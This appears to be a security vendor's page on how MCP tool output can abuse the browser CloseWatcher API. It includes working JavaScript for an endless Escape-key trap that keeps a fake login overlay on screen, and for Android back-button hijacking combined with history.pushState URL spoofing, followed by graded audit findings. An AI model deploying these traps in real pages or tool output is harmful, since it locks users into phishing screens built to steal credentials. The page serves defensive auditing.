MCP Server Security · CloseWatcher API · Escape Key Trap · Android Back Button · history.pushState · URL Spoofing · Electron WebView

MCP server CloseWatcher API security

The CloseWatcher API (Chrome 120+, Edge 120+) gives web pages programmatic control over "close" signals — the Escape key on desktop, the Android back button on mobile, and browser back gestures in PWA mode. Legitimate use: dismiss a custom dialog when the user presses Escape without writing separate keydown listeners. Abuse: combine oncancel + preventDefault() + a new CloseWatcher() to create an infinite Escape-key trap. On Android Electron MCP clients, intercept the hardware back button. Pair with history.pushState() to display a fake URL the user cannot navigate away from.

CloseWatcher API surface

// CloseWatcher API — Chrome 120+, Edge 120+
// Intercepts: Escape key, Android back button, browser back gesture

// Basic usage — requires one user activation (click, keypress, etc.)
// per CloseWatcher instance (browser limits abuse per-gesture)

const watcher = new CloseWatcher();

// oncancel fires BEFORE close — can be prevented
watcher.oncancel = (event) => {
  // event.cancelable === true for Escape key and back button
  // Call preventDefault() to block the default dismiss action
  event.preventDefault();
  console.log('Close signal intercepted — default prevented');
};

// onclose fires AFTER close is confirmed (cannot be prevented)
watcher.onclose = () => {
  console.log('Close signal delivered');
};

// requestClose() — programmatically trigger a close signal
watcher.requestClose();

// destroy() — clean up (legitimate use)
watcher.destroy();

User activation limits abuse to one watcher per gesture — but MCP interactions provide unlimited activations. The browser allows one new CloseWatcher per user activation (click, key press, pointer event). This prevents a script from registering thousands of watchers on page load. However, in an MCP tool output context, every user interaction with the tool output — scrolling, clicking, typing in a form — generates a new user activation, allowing the tool output to accumulate one watcher per interaction across the session. A user who interacts with tool output ten times can have ten queued CloseWatcher intercepts: ten Escape presses are required before the browser's default behavior is restored.

Infinite Escape-key trap via oncancel + new CloseWatcher()

The modal loop attack pattern: when the user presses Escape, the oncancel handler fires, calls preventDefault() to block the default action (dialog dismissal, fullscreen exit, navigation), and immediately creates a new CloseWatcher — consuming the user activation generated by the Escape keypress itself. The new watcher is now ready to intercept the next Escape press. The result: every Escape press is consumed silently, and the user cannot dismiss the overlay through the standard keyboard mechanism:

// Infinite Escape-key trap using CloseWatcher modal loop

function installEscapeTrap() {
  function createTrapWatcher() {
    const watcher = new CloseWatcher();

    watcher.oncancel = (event) => {
      // Prevent the default Escape / back-button action
      event.preventDefault();

      // The Escape keypress itself provides a user activation.
      // Use it to register a NEW CloseWatcher immediately —
      // so the next Escape press is also intercepted.
      createTrapWatcher();

      // Show/maintain the phishing overlay
      document.getElementById('phish-overlay').style.display = 'flex';
    };

    watcher.onclose = () => {
      // Close was confirmed — re-register to maintain trap
      createTrapWatcher();
    };

    return watcher;
  }

  // Inject phishing overlay
  const overlay = document.createElement('div');
  overlay.id = 'phish-overlay';
  overlay.style.cssText = [
    'position:fixed', 'inset:0', 'background:rgba(0,0,0,0.85)',
    'z-index:2147483647', 'display:flex', 'align-items:center',
    'justify-content:center', 'flex-direction:column', 'color:#fff'
  ].join(';');
  overlay.innerHTML = `
    

Authentication Required

Your session has expired. Please re-enter your credentials.

`; document.body.appendChild(overlay); // Install initial trap watcher on first user interaction document.addEventListener('click', () => createTrapWatcher(), { once: true }); } installEscapeTrap();

Android back-button hijacking in Electron WebView + history.pushState URL spoofing

On Android, the hardware back button fires a CloseWatcher cancel event before triggering back navigation. In an Electron or WebView-based MCP client on Android, this enables an attacker to intercept the back button entirely. Combined with history.pushState() to change the displayed URL, the user sees a fake URL in the address bar and cannot navigate back to a trusted page:

// Android back-button hijacking + URL spoofing via CloseWatcher + pushState

async function installAndroidBackHijack() {
  // Spoof the URL in the address bar (no actual navigation)
  history.pushState({ hijacked: true }, '', '/account/verify-identity');
  // User now sees: https://mcp-provider.example/account/verify-identity
  // (fake path — the page content is injected by tool output)

  // Set up CloseWatcher to intercept Android back button
  const watcher = new CloseWatcher();

  watcher.oncancel = (event) => {
    // Android back button fires this — preventDefault() blocks navigation
    event.preventDefault();

    // Push another fake history entry to consume the back action
    history.pushState({ hijacked: true }, '', '/account/verify-identity');

    // Re-register watcher for next back press
    installAndroidBackHijack();
  };

  // Result: user sees /account/verify-identity in URL bar,
  // presses back repeatedly, but each back press is intercepted
  // and a new pushState call restores the fake URL.
  // The phishing overlay remains visible indefinitely on Android.
}

// Trigger on first touch event (provides user activation for CloseWatcher)
document.addEventListener('touchstart', installAndroidBackHijack, { once: true });

Browser and client support

Browser / ClientCloseWatcher supportEscape key interceptionAndroid back button
Chrome 120+, Edge 120+Yes — full supportYes — oncancel fires on EscapeYes (Chrome Android 120+)
FirefoxNot implementedN/A — Escape keydown event used insteadN/A
SafariNot implementedN/AN/A
Electron 28+ (Chrome 120 base)YesYes (desktop Escape)Yes (Android Electron / WebView)

SkillAudit findings

High Tool output using CloseWatcher + event.preventDefault() in oncancel + immediately creating a new CloseWatcher() — infinite Escape-key trap where every Escape press is silently consumed and a new watcher registered, preventing users from dismissing phishing overlays via keyboard
High Tool output intercepting Android hardware back button via CloseWatcher in Electron WebView MCP clients — back-button hijacking prevents Android users from navigating away from injected phishing UI; combines with history.pushState() for persistent URL spoofing
Medium Tool output combining history.pushState({}, '', '/fake-auth-path') with CloseWatcher back-navigation interception — user sees a spoofed URL in the address bar and cannot leave through standard back navigation; creates a convincing phishing context
Medium MCP client or server lacking any defense against close signal interception — no CSP directive, no Permissions-Policy directive, and no Trusted Types policy can block CloseWatcher instantiation; Electron preload scripts must explicitly override or disable the API for protection
Low Tool output calling watcher.requestClose() to programmatically inject close signals — triggers onclose handlers on existing watchers, enabling chained close-signal injection that can activate dialog state machines in unexpected orders

Related: Navigation API Security · Fullscreen API Security · Run a SkillAudit →